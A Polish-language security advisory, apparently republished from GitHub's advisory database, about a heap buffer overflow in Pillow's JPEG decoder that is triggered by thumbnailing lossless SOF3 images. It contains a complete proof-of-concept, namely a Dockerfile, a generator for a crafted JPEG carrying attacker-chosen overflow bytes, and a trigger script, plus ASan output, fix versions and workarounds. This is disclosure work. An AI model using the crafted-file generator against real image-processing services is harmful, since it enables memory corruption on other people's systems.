Pillow: Przepełnienie bufora na stercie w ImagingJpegDecode
Podsumowanie
JpegImageFile.draft() — wywoływane automatycznie przez Image.thumbnail() — żąda wyjścia JPEG przeskalowanego o 1/2, 1/4 lub 1/8 i zmniejsza self._size oraz wymiary kafelków w celu dopasowania, w wyniku czego _setimage() alokuje jednowierszowy bufor dekodowania o rozmiarze ceil(W/s) próbek. ImagingJpegDecode() ustawia cinfo.scale_num/scale_denom, wywołuje jpeg_start_decompress(), a następnie odczytuje linie skanowania do tego bufora bez wcześniejszego porównania cinfo.output_width, cinfo.output_height ani cinfo.out_color_components z state->xsize, state->ysize i state->bits.
libjpeg-turbo 3.x dekoduje bezstratne obrazy JPEG (SOF3), lecz na stałe wyłącza skalowanie dla strumieni bezstratnych — żądane scale_denom jest po cichu odrzucane. W efekcie zwraca wiersze o pełnej szerokości W próbek do bufora o rozmiarze dostosowanym do ceil(W/s). Każde wywołanie jpeg_read_scanlines() zapisuje (W - ceil(W/s)) x components bajtów poza końcem alokacji na stercie, a przepełniające bajty to zdekodowane wartości pikseli, które są dokładne co do bajtu dla 8-bitowego bezstratnego obrazu w skali szarości.
Dane wejściowe są zgodne ze standardem JPEG, dlatego Image.open(..., formats=["JPEG"]) temu nie zapobiega. Parser SOF w języku Python w bibliotece Pillow akceptuje już znacznik 0xFFC3 („SOF3”, „Spatial lossless”) przy precyzji 8-bitowej, więc plik otwiera się normalnie jako obraz JPEG / tryb L o pełnym zadeklarowanym rozmiarze.
Kod dotknięty podatnością
W e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
src/libImaging/JpegDecode.c:224-262—ImagingJpegDecode();jpeg_start_decompress()w :240,jpeg_read_scanlines()w :252, bez weryfikacji geometrii pomiędzy nimi.src/decode.c:222-231—_setimage();state->buffer = calloc(1, state->bytes)zstate->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464—JpegImageFile.draft(); obliczasi zmniejsza_size, wymiary kafelków orazdecoderconfigbez uwzględnienia kodowania bezstratnego.src/PIL/JpegImagePlugin.py:271—0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
Ponieważ state->ysize (ceil(H/s)) nigdy nie może równać się wartości libjpeg output_height, gdy zachodzi s >= 2, dekodowanie zawsze kończy się błędem po zapisaniu wierszy: wywołujący widzi wyjątek i nie otrzymuje żadnych pikseli. OSError jest konsekwencją przepełnienia, a nie samym zgłaszanym problemem.
Prymityw
Na każdą linię skanowania: ciągły zapis (W - ceil(W/s)) x c bajtów bezpośrednio za blokiem calloc(ceil(W/s) x c), gdzie c = 1 dla trybu L oraz 4 dla RGB (RGBX) i CMYK; powtarzany dla ceil(H/s) wierszy w tym samym obszarze. Klasa rozmiaru bufora jest wybierana przez atakującego za pośrednictwem W, a w przypadku skali szarości przepełniająca zawartość jest dowolnym ciągiem bajtów wybranym przez atakującego.
Zmierzone w poniższym odtworzeniu błędu: 1200x1100 tryb L, s=2 — alokacja 600 bajtów, 600 bajtów zapisanych poza nią, ASan zgłasza cały zapis wiersza 1200 bajtów jako pojedyncze memcpy.
Próg: draft() musi wybrać s >= 2, tj. W // requested_w >= 2 i H // requested_h >= 2. Dla thumbnail((256,256)) z domyślnym reducing_gap=2.0 oznacza to W, H >= 1024.
Odtworzenie
Samodzielny reproduktor Docker (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 oraz Pillow skompilowane ze źródeł z -fsanitize=address; Pillow pobrane z ${TARGET_COMMIT}, domyślne e41083f383c9cd3db95de52564cc0b6452313d4a). Zapisz poniższe trzy pliki jako Dockerfile, make_sof3.py oraz trigger.py w pustym katalogu, a następnie:
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make_sof3.py jest samodzielnym enkoderem, który emituje zgodny ze standardami 8-bitowy bezstratny obraz JPEG Huffmana w skali szarości (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predyktor 1, Se=0, Ah=Al=0 / zakodowane entropijnie różnice wierszy / EOI), którego wiersze przenoszą powtarzający się wzorzec znaczników. trigger.py otwiera go i wywołuje thumbnail(), którego niejawne draft() wybiera s=2 i alokuje 600-bajtowy bufor wiersza.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"
COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit_length()
def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
Zweryfikowane wyjście:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Kontrola negatywna, ten sam obraz: bazowy DCT JPEG o identycznych wymiarach generuje miniaturę poprawnie, ponieważ libjpeg respektuje skalowanie 1/2 dokładnie tak, jak obliczył to draft().
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Zakres i zastrzeżenia
- Odtworzono na
mainpod commiteme41083f383c9cd3db95de52564cc0b6452313d4a, który reprezentuje bieżącyorigin/mainz dnia 2026-08-30. Zgłoszono również dla 12.3.0. - Wymaga zlinkowanego libjpeg z obsługą bezstratnego dekodowania, tj. libjpeg-turbo >= 3.0. Taka wersja jest dołączana do oficjalnych paczek wheel Pillow. Kompilacje z libjpeg-turbo 2.x lub IJG libjpeg odrzucają SOF3 przed zdekodowaniem jakiegokolwiek wiersza i nie są podatne.
- Nie wymaga niestandardowej konfiguracji Pillow:
Image.thumbnail()domyślnie wywołujedraft(), a bajty wyzwalające pochodzą wyłącznie z danych pliku. - Podatne są wyłącznie ścieżki używające
draft()przed załadowaniem.open().load()iresize()dekodują w skali 1 i nie są dotknięte problemem. Wywołanieimg.load()przedthumbnail()lub wywołaniethumbnail(..., reducing_gap=None)pozwala obecnie uniknąć tej ścieżki w aplikacji. - Brak podatności na tej samej ścieżce kodu: SOF11 (bezstratny arytmetyczny) kończy się błędem
JERR_ARITH_NOTIMPLprzed jakimkolwiek wierszem; bezstratne formaty 12- i 16-bitowe są odrzucane przezSOF()Pillow, ponieważ wymagana jest precyzjabits == 8; SOF5-7/13-15 kończą się błędemJERR_SOF_UNSUPPORTED.
Podziękowania i ujawnienie
Znalezione przez Anthropic z wykorzystaniem Claude do badania bezpieczeństwa oprogramowania open-source, zweryfikowane ręcznie przez Ada Logics.
Raport jest zgodny z polityką skoordynowanego ujawniania podatności firmy Anthropic (https://www.anthropic.com/coordinated-vulnerability-disclosure), z 90-dniowym oknem ujawnienia od daty zgłoszenia.
Podziękowania dla Claude (Anthropic) oraz Ada Logics.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej. W wersjach dotkniętych podatnością biuletyn wskazuje, że unikanie draft() przed załadowaniem, wywołanie img.load() przed thumbnail() lub wywołanie thumbnail(..., reducing_gap=None) pozwala ominąć podatną ścieżkę kodu.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782
- https://nvd.nist.gov/vuln/detail/CVE-2026-112403
- https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-122- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 20.10.2026
- Aktualizacja
- 21.10.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 82
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 11
- Wysoka 53
- Średnia 16
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 24
wcześniej: 12
-
Pillow: Przepełnienie bufora na stercie w ImagingJpegDecode ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.